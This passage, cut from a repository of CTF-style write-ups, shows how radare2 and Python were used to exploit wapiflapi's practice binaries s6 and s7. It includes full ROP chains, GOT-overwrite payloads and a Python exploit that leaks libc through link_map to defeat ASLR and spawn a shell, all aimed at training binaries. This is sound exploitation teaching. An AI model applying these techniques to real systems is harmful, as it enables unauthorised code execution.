[0x00400706]> e rop.len=4 201 | [0x00400706]> /R pop 202 | 203 | [...] 204 | 205 | 0x0040073e 415d pop r13 206 | 0x00400740 415e pop r14 207 | 0x00400742 415f pop r15 208 | 0x00400744 c3 ret 209 | 210 | 0x00400743 5f pop rdi 211 | 0x00400744 c3 ret 212 | 213 | ``` 214 | Finally, by choosing the starting point to be the address `0x00601018`, the `XXXXXXXX` value will be `0x00601038` (because before the `read` the `rbp` value is subtracted by `0x20`). 215 | 216 | At the end of the game, the .got.plt table will be changed like this (in bold the overwritten bytes): 217 | 218 | Address |Value | Meaning 219 | ------------------|---------------|----------------- 220 | 0x00601000 | 0x00600e28 | .dynamic 221 | 0x00601008 | 0 | placeholder for dynamic entry 222 | 0x00601010 | 0 | placeholder for dynamic entry 223 | 0x00601018 | **0x00400744** | ~~puts~~ `ret` 224 | 0x00601020 | **0x00400506** | system 225 | 0x00601028 | **0x0040073e** | ~~read~~ `pop;pop;pop;ret;` 226 | 0x00601030 | **0x00400526** | \_\_libc\_start\_main 227 | 0x00601038 | **0x0040064e** | ~~strcmp~~ the address of the instruction before `sub rsp, 0x30` 228 | 0x00601040 | **0x0068732F6E69622F** | ~~\_\_gmon\_start\_\_~~ "/bin/sh" 229 | 0x00601048 | 0x00400556 | err 230 | 231 | In this way, the `puts` are harmless, and the `read` will align the stack (by removing the crap pushed by previous calls, and the first padding of the buffer which went overwritten just after the stack rewind) and return to the first gadget of the ROP chain. 232 | 233 | So, finally, the bash-friendly and 64-bit aligned little endian buffer for the *second* read will be: 234 | 235 | ``` 236 | \x44\x07\x40\x00\x00\x00\x00\x00\x06\x05\x40\x00\x00\x00\x00\x00\x3e\x07\x40\x00\x00\x00\x00\x00\x26\x05\x40\x00\x00\x00\x00\x00\x4e\x06\x40\x00\x00\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00 237 | ``` 238 | 239 | ## Step 3 - the final ROP chain 240 | 241 | The final buffer, to be stored on the stack with the first call to `read` is, therefore: 242 | 243 | Chunk Contents | Chunk length | Meaning 244 | -----------------| ---------------|---------------- 245 | 0x42..0x42 | 8 bytes | padding 246 | 0x00400743 | 8 bytes | `pop rdi; ret` 247 | 0x00601040 | 8 bytes | address of "/bin/sh" 248 | 0x004006c7 | 8 bytes | `call sym.imp.system` 249 | 0x00601038 | 8 bytes | Overwrites saved frame pointer (start of PLT target + 0x20) 250 | 0x00400670 | 8 bytes | This overwrites the return address of `main` (let's `read` again, to overwrite PLT) 251 | 252 | In bash-friendly and 64-bit aligned little endian format, the buffer for the *first* read: 253 | 254 | ``` 255 | \x42\x42\x42\x42\x42\x42\x42\x42\x43\x07\x40\x00\x00\x00\x00\x00\x40\x10\x60\x00\x00\x00\x00\x00\xc7\x06\x40\x00\x00\x00\x00\x00\x38\x10\x60\x00\x00\x00\x00\x00\x70\x06\x40\x00\x00\x00\x00\x00 256 | ``` 257 | 258 | ## Running and cinema 259 | 260 | Here is the command line used to send escaped bytes to stdin: 261 | 262 | ```bash 263 | while read -r line; do echo -e $line; done | ./s6 264 | ``` 265 | 266 | This time, to avoid unwanted `\n`'s in the buffer, it is necessary to merge the two buffers in one and send only once: 267 | 268 | ``` 269 | \x42\x42\x42\x42\x42\x42\x42\x42\x43\x07\x40\x00\x00\x00\x00\x00\x40\x10\x60\x00\x00\x00\x00\x00\xc7\x06\x40\x00\x00\x00\x00\x00\x38\x10\x60\x00\x00\x00\x00\x00\x70\x06\x40\x00\x00\x00\x00\x00\x44\x07\x40\x00\x00\x00\x00\x00\x06\x05\x40\x00\x00\x00\x00\x00\x3e\x07\x40\x00\x00\x00\x00\x00\x26\x05\x40\x00\x00\x00\x00\x00\x4e\x06\x40\x00\x00\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00 270 | ``` 271 | 272 | [![asciicast](https://asciinema.org/a/dlqa349vkqiufvb7qnu429iwu.png)](https://asciinema.org/a/dlqa349vkqiufvb7qnu429iwu) 273 | -------------------------------------------------------------------------------- /wapiflapi-exrs/sploit/s7/README.md: -------------------------------------------------------------------------------- 1 | # Solving wapiflapi's s7 with radare2 and binexpect 2 | 3 | ## Intro 4 | 5 | The seventh challange consists in this brief and apparently harmless piece of C: 6 | 7 | ```c 8 | int main(int argc, char **argv) 9 | { 10 | char buffer[32]; 11 | 12 | (void) argc, (void) argv; 13 | 14 | printf("Welcome Stranger\n"); 15 | printf("What is your password?\n"); 16 | 17 | if (read(0, buffer, 1024) <= 0) 18 | err(EXIT_FAILURE, "read"); 19 | 20 | printf("If you're cool you'll get a shell.\n"); 21 | 22 | if (strcmp("pretend_you_dont_know_this", buffer) == 0) 23 | printf("neo\n"); 24 | 25 | return 0; 26 | } 27 | ``` 28 | 29 | While the buffer overflow here is still generous, the heavy part is the clear absence of any call to `system`. 30 | 31 | ### Goal 32 | 33 | To spawn a shell 34 | 35 | ### Challanges 36 | 37 | 1. **no call to `system`** ! 38 | 2. only one read call in a single buffer 39 | 3. must be solved using only stdin / stdout 40 | 4. no assumptions on libc version or address layout are allowed 41 | 42 | 43 | ### Solution plan 44 | 45 | The big deal here is to find a way to get the address of libc's `system` function, without guessing the libc version and assuming ASLR is on. Once this address is known, it is straightforward to forge a call to it using the buffer overflow. The `/bin/sh` command can be either also found in the libc or written somewhere at a fixed address (e.g. inside the .got.plt as usual). 46 | 47 | Searching on google, i came up with these informative resources: 48 | 49 | 1. [Hack.lu's OREO with ret2dl-resolve](https://wapiflapi.github.io/2014/11/17/hacklu-oreo-with-ret2dl-resolve/) by wapiflapi 50 | 2. [another solution to the same challenge](https://github.com/ctfs/write-ups-2014/blob/master/hack-lu-ctf-2014/oreo/exploit-by-cutz.pl), also linked from [1], which is simpler 51 | 3. [Advanced return to libc](http://phrack.org/issues/58/4.html) on Phrack, also linked from [1], (there's also a succint presentation mostly derived from it [here](https://www.ics.uci.edu/~mbebenit/ics142b/data/PStack.pdf)) 52 | 53 | The only problem is that all of these resources refer only to 32 bits x86 architecture, while we're 64 bits. 54 | 55 | Wapiflapi's article [1] uses return-to-dl-resolve, which is a powerful way to get addresses of libc functions without leaks, **but needs to store forged structures at known addresses** (therefore not easily doable on the stack). 56 | 57 | The solution at [2], instead, **gets the libc base address by searching back from any libc function address**, rounding at page size, for the ELF header and then parses the elf structure for the dynamic section and harvest the symbols from there. 58 | 59 | My first attempt to solve s7 was to port [2] from perl to python and from 32 to 64 bits and apply it to s7. Everything worked well, until i came into parsing the dynamic section to get strtab and symtab. **Every attempt to read it, caused a segmentation fault, invariably**. Just few seconds before giving up and deciding to become a barman, i realized that the 64-bit dynamic linker maps some sections of the libc address space with the PROT_NONE permission (see [here](https://stackoverflow.com/questions/16524895/proc-pid-maps-shows-pages-with-no-rwx-permissions-on-x86-64-linux)) apparently to save space. Obviously, one of such sections is the dynamic section i came across. 60 | 61 | Finally i followed the suggestion of wapiflapi in [1] and did a parse of the `link_map` structure, in order to find the libc base address and the correct mapping for the dynamic section from which it is possible to collect the entire libc symbols and their offsets. 62 | 63 | Since this solution requires a lot of input-output (a repeatable leak is needed) i decided to do it in python. In order to handle the binary input/output i used [binexpect](https://github.com/wapiflapi/binexpect). 64 | 65 | The exploit python script is [here](https://github.com/mrmacete/writeups/blob/master/wapiflapi-exrs/sploit/s7/bexpl_s7.py), what follows is a deep explanation of each relevant part of it. 66 | 67 | ## A closer look to .got.plt 68 | Let's explore s7's .got.plt with radare2: 69 | 70 | ```r2 71 | $ r2 s7 72 | -- 3nl4r9e y0\/r r4d4r3 73 | [0x00400520]> aa 74 | [0x00400520]> iS~.got.plt 75 | idx=22 vaddr=0x00601000 paddr=0x00001000 sz=72 vsz=72 perm=-rw- name=.got.plt 76 | 77 | [0x00400520]> pxq 72@0x00601000 78 | 0x00601000 0x0000000000600e28 0x0000000000000000 (.`............. 79 | 0x00601010 0x0000000000000000 0x00000000004004c6 ..........@..... 80 | 0x00601020 0x00000000004004d6 0x00000000004004e6 ..@.......@..... 81 | 0x00601030 0x00000000004004f6 0x0000000000400506 ..@.......@..... 82 | 0x00601040 0x0000000000400516 ..@..... 83 | [0x00400520]> ii 84 | [Imports] 85 | ordinal=001 plt=0x004004c0 bind=GLOBAL type=FUNC name=puts 86 | ordinal=002 plt=0x004004d0 bind=GLOBAL type=FUNC name=read 87 | ordinal=003 plt=0x004004e0 bind=GLOBAL type=FUNC name=__libc_start_main 88 | ordinal=004 plt=0x004004f0 bind=GLOBAL type=FUNC name=strcmp 89 | ordinal=005 plt=0x00400500 bind=UNKNOWN type=NOTYPE name=__gmon_start__ 90 | ordinal=006 plt=0x00400510 bind=GLOBAL type=FUNC name=err 91 | 92 | 6 imports 93 | ``` 94 | 95 | Mixing above information into an high level tabular representation (all addresses and values are 64 bits wide, truncated for brevity): 96 | 97 | Address |Value | Meaning 98 | ------------------|---------------|----------------- 99 | 0x00601000 | 0x00600e28 | .dynamic 100 | **0x00601008** | 0 (filled at runtime) | **pointer to `link_map`** 101 | 0x00601010 | 0 (filled at runtime) | pointer to `dl-resolve` 102 | 0x00601018 | 0x004004f6 | puts 103 | 0x00601020 | 0x00400516 | read 104 | 0x00601028 | 0x00400526 | \_\_libc\_start\_main 105 | 0x00601030 | 0x00400536 | strcmp 106 | 0x00601038 | 0x00400546 | \_\_gmon\_start\_\_ 107 | 0x00601040 | 0x00400556 | err 108 | 109 | The purpose of `dl-resolve` is to perform the lazy binding, i.e. the wrappers of the libc functions whose pointers appears in the .got.plt table, actually invoke `dl-resolve` the first time they get called to actually fetch the address of the corresponding libc function. The `link_map` is a linked list of structures describing all the dynamic libraries which the binary is linked against, this serves as a parameter for `dl-resolve`, or in this case to be parsed for gaining the libc base address and its dynamic section (the good one). 110 | 111 | 112 | ## Binary input/output 113 | 114 | The provided binary uses buffered input/output, therefore a solution must be found in order to write and read data interactively from/to stdin/stdout via python. 115 | 116 | My first attempt was using python's `subprocess.Popen` plus `stdbuf -i0 -o0 -e0` and making stdout non blocking. That solution worked except for two problems: 117 | 118 | 1. the non-blocking state caused occasional EAGAIN failures in the `read` call, which caused the `err` function to be called, generating a segfault 119 | 2. after the call to system, it wasn't easy to detach the pipes and let the user interact with the sh's prompt 120 | 121 | Then i noticed that [this](https://wapiflapi.github.io/2014/11/17/hacklu-oreo-with-ret2dl-resolve/) uses binexpect, and i decided to give it a try. I had to port my code to python3 (pardon me if the code sucks), plugged in binexpect and obtained this: 122 | 123 | * the segfault error persisted, but turned out to be a stack balancing issue unrelated to input/output itself, see below 124 | * the `pwned` or `prompt` functions work great 125 | 126 | 127 | ## Solving unbalanced stack issue 128 | 129 | By repeatedly injecting rop chains into the stack, it happened that the value of `rsp` was **constantly growing, uncontrollably overwriting environment variables and causing issues and segfaults**. 130 | 131 | To overcome this problem, it is necessary to find a way to have a constant value of `rsp` at each repetition of the repeatalb leak. 132 | 133 | In this case, the solution is to return to the entry point at each repetition (instead of returning to `main` again). This, by itself, led to a constant **decrease** of `rsp` value, but this is more easily fixable by inserting padding into the rop chain, to increase `rsp` of the same amount. 134 | 135 | 136 | ## The basic building block: repeatable leak 137 | 138 | This solution is made possible by the presence of a repeatable leak: a way to safely read memory content at addresses of choice and leaving the program in a state by which the leak can occur again. 139 | 140 | To mount such a leak two conditions are needed: 141 | 142 | 1. a buffer overflow to gain conrol of `rip` 143 | 2. knowing the address of any libc function able to print content 144 | 145 | The first condition is met by the `read` call in the `main` function which gives us 992 bytes of overflow. 146 | 147 | The second condition is met by having the `puts` in the plt table, plus a rop gadget to initialize `rdi` with the address of choice: 148 | 149 | ```r2 150 | [0x00400520]> e rop.len = 2 151 | [0x00400520]> /R pop rdi 152 | 0x00400703 5f pop rdi 153 | 0x00400704 c3 ret 154 | 155 | 156 | ``` 157 | 158 | The buffer layout, to feed the `read` in order to have a repeatable leak is as follows: 159 | 160 | Chunk Contents | Chunk length | Meaning 161 | -----------------| ---------------|---------------- 162 | ???? | 32 bytes | Initial data, regularly inside the buffer 163 | XXXXXXXX | 8 bytes | Overwrites saved frame pointer (don't care) 164 | 0x00400703 | 8 bytes | pop rdi; ret; 165 | YYYYYYYY | 8 bytes | address of content to be leaked 166 | 0x004004c0 | 8 bytes | address of `puts` in the plt (initialized after the first use) 167 | 0x00400704 | 176 bytes | address of a `ret;` gadget, repeated 22 times, to keep `rsp` value constant against repetitions 168 | 0x00400520 | 8 bytes | address of entry point, to allow repetition 169 | 170 | Here is the python code to perform the leak: 171 | 172 | ```python 173 | def leak(address): 174 | payload = bytes('A' * 32, 'utf-8') 175 | 176 | payload += rop( 177 | 0x42424242, # frame pointer 178 | 0x00400703, # pop rdi; ret; 179 | address, # leak 180 | 0x004004c0, # puts@plt 181 | 182 | 0x00400704, # ret 183 | 0x00400704, # ret 184 | 0x00400704, # ret 185 | 0x00400704, # ret 186 | 0x00400704, # ret 187 | 0x00400704, # ret 188 | 0x00400704, # ret 189 | 0x00400704, # ret 190 | 0x00400704, # ret 191 | 0x00400704, # ret 192 | 0x00400704, # ret 193 | 0x00400704, # ret 194 | 0x00400704, # ret 195 | 0x00400704, # ret 196 | 0x00400704, # ret 197 | 0x00400704, # ret 198 | 0x00400704, # ret 199 | 0x00400704, # ret 200 | 0x00400704, # ret 201 | 0x00400704, # ret 202 | 0x00400704, # ret 203 | 0x00400704, # ret 204 | 205 | 0x00400520, # entry point again 206 | ) 207 | 208 | s7.sendbinline(payload) 209 | 210 | s7.tryexpect("If you're cool you'll get a shell.\n" 211 | "(.*)\n" 212 | "Welcome Stranger\n" 213 | "What is your password\?", 214 | exitwithprogram=False 215 | ) 216 | 217 | if s7.match != None: 218 | result = s7.match.group(1) 219 | else: 220 | result = "" 221 | 222 | if not s7.isalive(): 223 | raise 224 | 225 | return result 226 | ``` 227 | 228 | This works, but must be handled with care because `puts` stops at the first null byte. To overcome this, when reading 32 or 64 bits words, the python code will leak one byte at a time, assuming the empty string is a zero, and then reassemble them in one little endian word: 229 | 230 | ```python 231 | def upack(s): 232 | ss = s[:8] 233 | pad = bytes('\x00' * (8-len(ss)), 'utf-8') 234 | return struct.unpack('Q', ss + pad)[0] 235 | 236 | def upleak1(address): 237 | r = upack(leak(address)[:1]) 238 | return r 239 | 240 | def upleak_safe(address): 241 | result = 0 242 | 243 | for i in range(8): 244 | piece = upleak1(address+i) 245 | result = result | (piece << (i*8)) 246 | 247 | return result 248 | 249 | def upleak_safe_32(address): 250 | result = 0 251 | 252 | for i in range(4): 253 | piece = upleak1(address+i) 254 | result = result | (piece << (i*8)) 255 | 256 | return result 257 | ``` 258 | 259 | ## Mining `libc` symbols 260 | 261 | As explained earlier, a pointer to `libc_map` is stored at a known address into the `.got.plt` table. 262 | 263 | ### Surfing `link_map` to find libc 264 | 265 | The `link_map` structure definition can be found in `/usr/include/link.h`: 266 | 267 | ```c 268 | struct link_map 269 | { 270 | /* These first few members are part of the protocol with the debugger. 271 | This is the same format used in SVR4. */ 272 | 273 | ElfW(Addr) l_addr; /* Base address shared object is loaded at. */ 274 | char *l_name; /* Absolute file name object was found in. */ 275 | ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ 276 | struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ 277 | }; 278 | ``` 279 | 280 | Actually, the full `link_map` structure is more complex than this, but the above are the only fields which are safe to be used, because they are standardized and unlikely to change between versions. 281 | 282 | My naive python code to traverse the list and get libc base and dynamic section is as follows: 283 | 284 | ```python 285 | def get_libc(link_map): 286 | 287 | base = upleak(link_map) 288 | name = leak(upack(leak(link_map+8))) 289 | dynamic = upleak(link_map+16) 290 | nextp = upleak(link_map+24) 291 | 292 | if name.find(bytes('libc', 'utf-8')) >= 0: 293 | return (base, dynamic) 294 | 295 | if nextp != 0: 296 | return get_libc(nextp) 297 | ``` 298 | 299 | ### Extracting function offset from `.dynamic` section 300 | 301 | Armed with the libc base and dynamic section addresses, it is possible to continue porting to 64-bits the same solution found in [[2]](https://github.com/ctfs/write-ups-2014/blob/master/hack-lu-ctf-2014/oreo/exploit-by-cutz.pl), digging for `strtab` and `symtab`, then parsing `.dynamic` section and search for desired (or even all) symbols: 302 | 303 | ```python 304 | def get_str_symtab(dynamic): 305 | strtab = 0 306 | symtab = 0 307 | i = 0 308 | while (strtab == 0 or symtab == 0): 309 | typ = upack(leak(dynamic + i)) 310 | if typ == 5: 311 | strtab = upleak(dynamic + i + 8) 312 | elif typ == 6: 313 | symtab = upleak(dynamic + i + 8) 314 | i += 16 315 | return (strtab, symtab) 316 | 317 | def get_symbol(symbol, strtab, symtab, libc_map): 318 | i = libc_map.last_scanned_offset 319 | while True: 320 | offset = upack32(leak(symtab+i)) 321 | if offset != 0: 322 | sym = leak(strtab+offset) 323 | sym_addr = upleak_safe(symtab + i + 8) 324 | libc_map.put(sym, sym_addr, i) 325 | if sym == symbol: 326 | return sym_addr 327 | i += 24 328 | ``` 329 | This time, the dynamic section address points to the one mapped in our process' space, and it is therefore readable. 330 | 331 | The `libc_map` variable is an instance of `LibcMap`, a class used to keep current found symbols from libc, which stores relative offsets of symbols and the current search progress: 332 | 333 | ```python 334 | class LibcMap: 335 | 336 | libc_map = {} 337 | last_scanned_offset = 0 338 | 339 | def put(self, symbol, address, scanned_offset): 340 | if address != 0: 341 | self.libc_map[str(symbol,'utf-8')] = address 342 | self.last_scanned_offset = scanned_offset 343 | 344 | def get(self, symbol): 345 | if symbol in self.libc_map: 346 | return self.libc_map[symbol] 347 | 348 | return None 349 | 350 | ``` 351 | 352 | ## A history of "/bin/sh" 353 | 354 | My first attempt of solution, involved finding the `"/bin/sh"` string inside the libc itself, by trivially searching linearly. This worked, but was really slow and the search could last hours. 355 | 356 | To overcome this, i tried to parse the libc's ELF headers, digging for `.rodata` address to start the search from there, but the problem of unreadable memory mapping (PROT_NONE permission) came up again. 357 | 358 | Finally, i decided for writing the `"/bin/sh"` string, surgically, into an unused entry of `.got.plt`. In order to use directly the `read` pointer we have in `.got.plt`, it is necessary to control `rdx` to pass in the `count` param. Unfortunately, no ROP gadgets are available in our binary to do this, so i found a way to use the `lldiv` libc function to control `rdx`, which will store the remainder of the division (since internally it uses the `idiv` instruction). 359 | 360 | Here is the buffer overlow layout for performing the surgical, repeatable, write operation: 361 | 362 | Chunk Contents | Chunk length | Meaning 363 | -----------------| ---------------|---------------- 364 | ???? | 32 bytes | Initial data, regularly inside the buffer 365 | XXXXXXXX | 8 bytes | Overwrites saved frame pointer (don't care) 366 | 0x00400703 | 8 bytes | pop rdi; ret; 367 | YYYYYYYY | 8 bytes | length of data to be written 368 | 0x00400701 | 8 bytes | pop rsi; pop r15; ret; 369 | YYYYYYYY+1 | 8 bytes | length plus one (so the remainder of division will be the length itself) 370 | 0 | 8 bytes | unused (r15) 371 | &lldiv | 8 bytes | address of `lldiv` 372 | 0x00400701 | 8 bytes | pop rsi; pop r15; ret; 373 | ZZZZZZZZ | 8 bytes | destination address for `read` 374 | 0 | 8 bytes | unused (r15) 375 | 0x00400703 | 8 bytes | pop rdi; ret; 376 | 0 | 8 bytes | source fd = stdin 377 | 0x004004d0 | 8 bytes | address of `read` in the plt (initialized after the first use) 378 | 0x0040060d | 8 bytes | address of `main` to allow repetition 379 | 380 | 381 | and the corresponding python function: 382 | 383 | ```python 384 | def write(address, data, div_addr): 385 | 386 | payload = bytes('A' * 32, 'utf-8') 387 | 388 | payload += rop( 389 | 0x42424242, # frame pointer 390 | 0x00400703, # pop rdi; ret; 391 | len(data), 392 | 0x00400701, # pop rsi; pop r15; ret; 393 | len(data)+1, 394 | 0, 395 | div_addr, # rdx <- 400 396 | 0x00400701, # pop rsi; pop r15; ret; 397 | address, 398 | 0, 399 | 0x00400703, # pop rdi; ret; 400 | 0, 401 | 0x004004d0, # read@plt 402 | 0x0040060d, # main again 403 | 0x0040060d, # main again 404 | ) 405 | 406 | s7.sendbinline(payload) 407 | s7.sendbinline(data) 408 | 409 | s7.tryexpect("If you're cool you'll get a shell.\n" 410 | "Welcome Stranger\n" 411 | "What is your password\?", 412 | exitwithprogram=False 413 | ) 414 | 415 | if not s7.isalive(): 416 | raise 417 | 418 | ``` 419 | 420 | ## Executing the shell 421 | 422 | Once both `system` and `"/bin/sh"` addresses are known, the shell is executed the usual way using such a buffer overflow layout: 423 | 424 | Chunk Contents | Chunk length | Meaning 425 | -----------------| ---------------|---------------- 426 | ???? | 32 bytes | Initial data, regularly inside the buffer 427 | XXXXXXXX | 8 bytes | Overwrites saved frame pointer (don't care) 428 | 0x00400703 | 8 bytes | pop rdi; ret; 429 | YYYYYYYY | 8 bytes | address of `"/bin/sh"` 430 | 0x00400704 | 8 bytes | ret; just to keep the stack 16-bytes aligned 431 | &system | 8 bytes | address of `system` 432 | 0x0040060d | 8 bytes | address of `main` to allow repetition 433 | 434 | This is the python code to execute the shell: 435 | 436 | ```python 437 | def execute_shell(system_addr, bin_sh_addr): 438 | payload = bytes('A' * 32, 'utf-8') 439 | 440 | payload += rop( 441 | 0x42424242, # frame pointer 442 | 0x00400703, # pop rdi; ret; 443 | bin_sh_addr, 444 | 0x00400704, # ret (padding) 445 | system_addr, 446 | 0x0040060d, # main again 447 | ) 448 | 449 | s7.sendbinline(payload) 450 | 451 | s7.tryexpect("If you're cool you'll get a shell.\n" 452 | "(.*)\n?" 453 | ,exitwithprogram=False 454 | ) 455 | 456 | result = str(s7.match.group(1), 'utf-8') 457 | 458 | return result 459 | ``` 460 | 461 | ## Putting pieces together 462 | 463 | The main python function looks like this (edited for brevity): 464 | 465 | ```python 466 | def rop(*args): 467 | return struct.pack('Q'*len(args), *args) 468 | 469 | libc_map = LibcMap() 470 | setup = binexpect.setup("./s7") 471 | s7 = setup.target() 472 | s7.setecho(False) 473 | s7.tryexpect("Welcome Stranger") 474 | s7.tryexpect("What is your password?") 475 | 476 | while True: 477 | 478 | try: 479 | base = 0x00400000 480 | got_plt = 0x00601000 481 | link_map = get_link_map(got_plt) 482 | libc_base, libc_dynamic = get_libc(link_map) 483 | libc_map.base = libc_base 484 | system = libc_map.get("system") 485 | lldiv = libc_map.get("lldiv") 486 | if system == None or lldiv == None: 487 | strtab, symtab = get_str_symtab(libc_dynamic) 488 | if system == None: 489 | system = get_symbol(b"system", strtab, symtab, libc_map) 490 | if lldiv == None: 491 | lldiv = get_symbol(b"lldiv", strtab, symtab, libc_map) 492 | 493 | except Exception as e: 494 | setup = binexpect.setup("./s7") 495 | s7 = setup.target() 496 | s7.setecho(False) 497 | s7.tryexpect("Welcome Stranger") 498 | s7.tryexpect("What is your password?") 499 | continue 500 | 501 | write(0x00601028, b"/bin/sh\x00", lldiv + libc_base) 502 | 503 | bin_sh = 0x00601028 504 | 505 | execute_shell(system + libc_base, bin_sh) 506 | 507 | s7.pwned() 508 | 509 | break 510 | ``` 511 | 512 | The `rop` function is ripped almost exactly from [Defeating baby_rop with radare2](http://www.radare.today/defeating-baby_rop-with-radare2/). 513 | 514 | ## Running and cinema 515 | 516 | To run the exploit are necessary: 517 | 518 | * python3 519 | * pexpect 520 | * binexpect 521 | 522 | The exploit python file and binexpect.py must be in the same directory of s7 executable. 523 | 524 | [![asciicast](https://asciinema.org/a/649n0pc8iglf1asmse6s1ea71.png)](https://asciinema.org/a/649n0pc8iglf1asmse6s1ea71) 525 | -------------------------------------------------------------------------------- /wapiflapi-exrs/sploit/s7/bexpl_s7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import struct 4 | import binascii 5 | import time 6 | import sys 7 | import json 8 | import binexpect 9 | 10 | 11 | class LibcMap: 12 | 13 | libc_map = {} 14 | last_scanned_offset = 0 15 | 16 | def put(self, symbol, address, scanned_offset): 17 | if address != 0: 18 | self.libc_map[str(symbol,'utf-8')] = address 19 | self.last_scanned_offset = scanned_offset 20 | 21 | def get(self, symbol): 22 | if symbol in self.libc_map: 23 | return self.libc_map[symbol] 24 | 25 | return None 26 | 27 | 28 | def rop(*args): 29 | return struct.pack('Q'*len(args), *args) 30 | 31 | 32 | 33 | libc_map = LibcMap() 34 | 35 | setup = binexpect.setup("./s7") 36 | s7 = setup.target() 37 | s7.setecho(False) 38 | 39 | s7.tryexpect("Welcome Stranger") 40 | s7.tryexpect("What is your password?") 41 | 42 | def leak(address): 43 | payload = bytes('A' * 32, 'utf-8') 44 | 45 | payload += rop( 46 | 0x42424242, # frame pointer 47 | 0x00400703, # pop rdi; ret; 48 | address, # leak 49 | 0x004004c0, # puts@plt 50 | 51 | 0x00400704, # ret 52 | 0x00400704, # ret 53 | 0x00400704, # ret 54 | 0x00400704, # ret 55 | 0x00400704, # ret 56 | 0x00400704, # ret 57 | 0x00400704, # ret 58 | 0x00400704, # ret 59 | 0x00400704, # ret 60 | 0x00400704, # ret 61 | 0x00400704, # ret 62 | 0x00400704, # ret 63 | 0x00400704, # ret 64 | 0x00400704, # ret 65 | 0x00400704, # ret 66 | 0x00400704, # ret 67 | 0x00400704, # ret 68 | 0x00400704, # ret 69 | 0x00400704, # ret 70 | 0x00400704, # ret 71 | 0x00400704, # ret 72 | 0x00400704, # ret 73 | 74 | 0x00400520, # entry point again 75 | ) 76 | 77 | 78 | 79 | s7.sendbinline(payload) 80 | 81 | s7.tryexpect("If you're cool you'll get a shell.\n" 82 | "(.*)\n" 83 | "Welcome Stranger\n" 84 | "What is your password\?", 85 | exitwithprogram=False 86 | ) 87 | 88 | if s7.match != None: 89 | result = s7.match.group(1) 90 | else: 91 | result = "" 92 | 93 | if not s7.isalive(): 94 | print("died leaking address: " + hex(address)) 95 | raise 96 | 97 | return result 98 | 99 | 100 | def upack(s): 101 | ss = s[:8] 102 | pad = bytes('\x00' * (8-len(ss)), 'utf-8') 103 | return struct.unpack('Q', ss + pad)[0] 104 | 105 | def upleak(address): 106 | 107 | r = upack(leak(address)) 108 | 109 | sh = 1 110 | 111 | while r == 0 and sh < 8: 112 | r = (upack(leak(address+sh)) << (sh*8)) & 0xffffffffffffffff 113 | sh += 1 114 | 115 | return r 116 | 117 | def upleak_safe(address): 118 | result = 0 119 | 120 | for i in range(8): 121 | piece = upleak1(address+i) 122 | result = result | (piece << (i*8)) 123 | 124 | return result 125 | 126 | def upleak_safe_32(address): 127 | result = 0 128 | 129 | for i in range(4): 130 | piece = upleak1(address+i) 131 | result = result | (piece << (i*8)) 132 | 133 | return result 134 | 135 | 136 | def upleak1(address): 137 | 138 | r = upack(leak(address)[:1]) 139 | 140 | return r 141 | 142 | def upack32(s): 143 | ss = s[:4] 144 | pad = b'\x00' * (4-len(ss)) 145 | return struct.unpack('I', ss + pad)[0] 146 | 147 | def get_bytes(start, size): 148 | 149 | bs = [] 150 | 151 | for i in range(start, start+size): 152 | bs.append(upleak1(i)) 153 | 154 | return bs 155 | 156 | def get_link_map(got_plt): 157 | r = upack(leak(got_plt+8)) 158 | 159 | return r 160 | 161 | 162 | def get_str_symtab(dynamic): 163 | strtab = 0 164 | symtab = 0 165 | i = 0 166 | 167 | while (strtab == 0 or symtab == 0): 168 | typ = upack(leak(dynamic + i)) 169 | 170 | 171 | 172 | if typ == 5: 173 | strtab = upleak(dynamic + i + 8) 174 | elif typ == 6: 175 | symtab = upleak(dynamic + i + 8) 176 | 177 | i += 16 178 | 179 | return (strtab, symtab) 180 | 181 | def get_symbol(symbol, strtab, symtab, libc_map): 182 | i = libc_map.last_scanned_offset 183 | 184 | while True: 185 | 186 | offset = upack32(leak(symtab+i)) #upleak_safe_32(symtab+i) 187 | 188 | if offset != 0: 189 | sym = leak(strtab+offset) 190 | 191 | sym_addr = upleak_safe(symtab + i + 8) 192 | 193 | libc_map.put(sym, sym_addr, i) 194 | 195 | if sym == symbol: 196 | return sym_addr 197 | 198 | 199 | i += 24 200 | 201 | def get_libc(link_map): 202 | 203 | base = upleak(link_map) 204 | name = leak(upack(leak(link_map+8))) 205 | dynamic = upleak(link_map+16) 206 | nextp = upleak(link_map+24) 207 | 208 | if name.find(bytes('libc', 'utf-8')) >= 0: 209 | return (base, dynamic) 210 | 211 | if nextp != 0: 212 | return get_libc(nextp) 213 | 214 | 215 | def execute_shell(system_addr, bin_sh_addr): 216 | payload = bytes('A' * 32, 'utf-8') 217 | 218 | 219 | payload += rop( 220 | 0x42424242, # frame pointer 221 | 0x00400703, # pop rdi; ret; 222 | bin_sh_addr, 223 | 0x00400704, # ret 224 | system_addr, 225 | 0x0040060d, # main again 226 | 227 | ) 228 | 229 | s7.sendbinline(payload) 230 | 231 | s7.tryexpect("If you're cool you'll get a shell.\n" 232 | "(.*)\n?" 233 | ,exitwithprogram=False 234 | ) 235 | 236 | result = str(s7.match.group(1), 'utf-8') 237 | 238 | return result 239 | 240 | def write(address, data, div_addr): 241 | 242 | payload = bytes('A' * 32, 'utf-8') 243 | 244 | payload += rop( 245 | 0x42424242, # frame pointer 246 | 0x00400703, # pop rdi; ret; 247 | len(data), 248 | 0x00400701, # pop rsi; pop r15; ret; 249 | len(data)+1, 250 | 0, 251 | div_addr, # rdx <- 400 252 | 0x00400701, # pop rsi; pop r15; ret; 253 | address, 254 | 0, 255 | 0x00400703, # pop rdi; ret; 256 | 0, 257 | 0x004004d0, # read@plt 258 | 0x0040060d, # main again 259 | 0x0040060d, # main again 260 | #0x0040060d, # main again 261 | ) 262 | 263 | 264 | 265 | s7.sendbinline(payload) 266 | 267 | s7.sendbinline(data) 268 | 269 | 270 | s7.tryexpect("If you're cool you'll get a shell.\n" 271 | "Welcome Stranger\n" 272 | "What is your password\?", 273 | exitwithprogram=False 274 | ) 275 | 276 | 277 | if not s7.isalive(): 278 | raise 279 | 280 | 281 | counter = 0 282 | 283 | while True: 284 | 285 | try: 286 | base = 0x00400000 287 | test = leak(base) 288 | 289 | if counter == 0 and test.startswith(bytes("\x7fELF", 'utf-8')): 290 | print( "Leak works!") 291 | 292 | got_plt = 